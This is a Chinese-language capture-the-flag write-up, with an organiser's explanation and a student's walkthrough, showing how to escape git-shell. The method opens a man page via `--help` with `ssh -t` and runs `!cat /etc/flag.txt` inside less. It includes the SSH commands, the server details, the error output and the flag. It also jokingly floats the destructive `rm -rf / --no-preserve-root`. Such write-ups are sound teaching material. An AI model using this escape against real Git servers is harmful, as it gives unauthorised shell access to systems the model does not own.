自己的 Git 服务器
此题涉及 Git 服务器的一个漏洞。
一般来说 Git 服务器使用 git-shell 来禁止用户 SSH 登录后任意操作,但是 git-shell 的白名单中有三条指令,分别是git-receive-pack
,git-upload-pack
, git-upload-archive
,它们均可以接受 '--help'
参数,使得我们可以进入 man page.
而 man page 实际上调用了 pager,pager 一般来说默认为 less,也就是说我们最后进入的用来浏览手册的程序是 less.
查阅 less 的手册,Security 的章节中讨论了多种命令执行的方式,如:!command
,这里,我们 !cat /etc/flag.txt
即可。
注1: 在 ssh 连接的时候,请使用 -t
确保 less 不被完全展开。
注2: 有同学想知道怎么做到只能执行 cat /etc/flag.txt
的,答:魔改了 gnu less。
陶柯宇 17级
发现 flag.txt
让我们去读取 /etc/flag.txt
文件后,我就一直在找 git clone
之后的东西有没有什么破绽,但我没有找到,就搁置在一边了。后来看到做出来的人那么多,就在想能不能直接用 git
用户 ssh
连上服务器?
下载 id_rsa
放到 ~/.ssh/
(我自己的电脑上改名为 hejiyan_rsa
,因为我已经有一个 id_rsa
文件了),修改 ~/.ssh/config
:
Host hejiyan
HostName 118.89.174.234
Port 2222
IdentityFile ~/.ssh/hejiyan_rsa
然后……
➜ ssh git@hejiyan
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for '/Users/tao/.ssh/hejiyan_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/Users/tao/.ssh/hejiyan_rsa": bad permissions
[email protected]'s password:
好好好,我 600
还不行吗。(这里我是把全部文件删掉之后重新试的,如果之前尝试过其他思路,那么权限之类的自己应该已经设置好了)
➜ chmod 600 ~/.ssh/hejiyan_rsa
然后……
➜ ssh git@hejiyan
fatal: unrecognized command ''
Connection to 118.89.174.234 closed.
这是什么错误?在 Google 上搜索:
沙盒绕过?这么高端的吗?还是 17 年的漏洞?(还是谷歌好,必应和百度根本搜不到这个)
里面提到可以使用类似这样的命令来打开一个交互式的 man
界面:
➜ ssh git@hejiyan -t "git-upload-archive '--help'"
注意:-t
是必须的,否则会直接返回一段文本,不会打开交互式界面。我就被这个问题坑了半个小时。ssh
文档中对 -t
的解释是:
-t Force pseudo-terminal allocation. This can be used to execute
arbitrary screen-based programs on a remote machine, which can be
very useful, e.g. when implementing menu services. Multiple -t
options force tty allocation, even if ssh has no local tty.
在交互式界面中输入:
!cat /etc/flag.txt
来看到我们的 flag:
flag{Check_if_y0ur_git_server_has_this_buuuuug}
如果你好奇是否可以运行其他命令的话(比如,rm -rf / --no-preserve-root
😏)……
only cat /etc/flag.txt allowed
所以这个其实是故意模拟的一个有漏洞的环境。当然,熬夜做出来,很开心。
(这道题目告诉我们,平时千万不要拒绝安全补丁,不管是 Windows 还是 Linux 环境)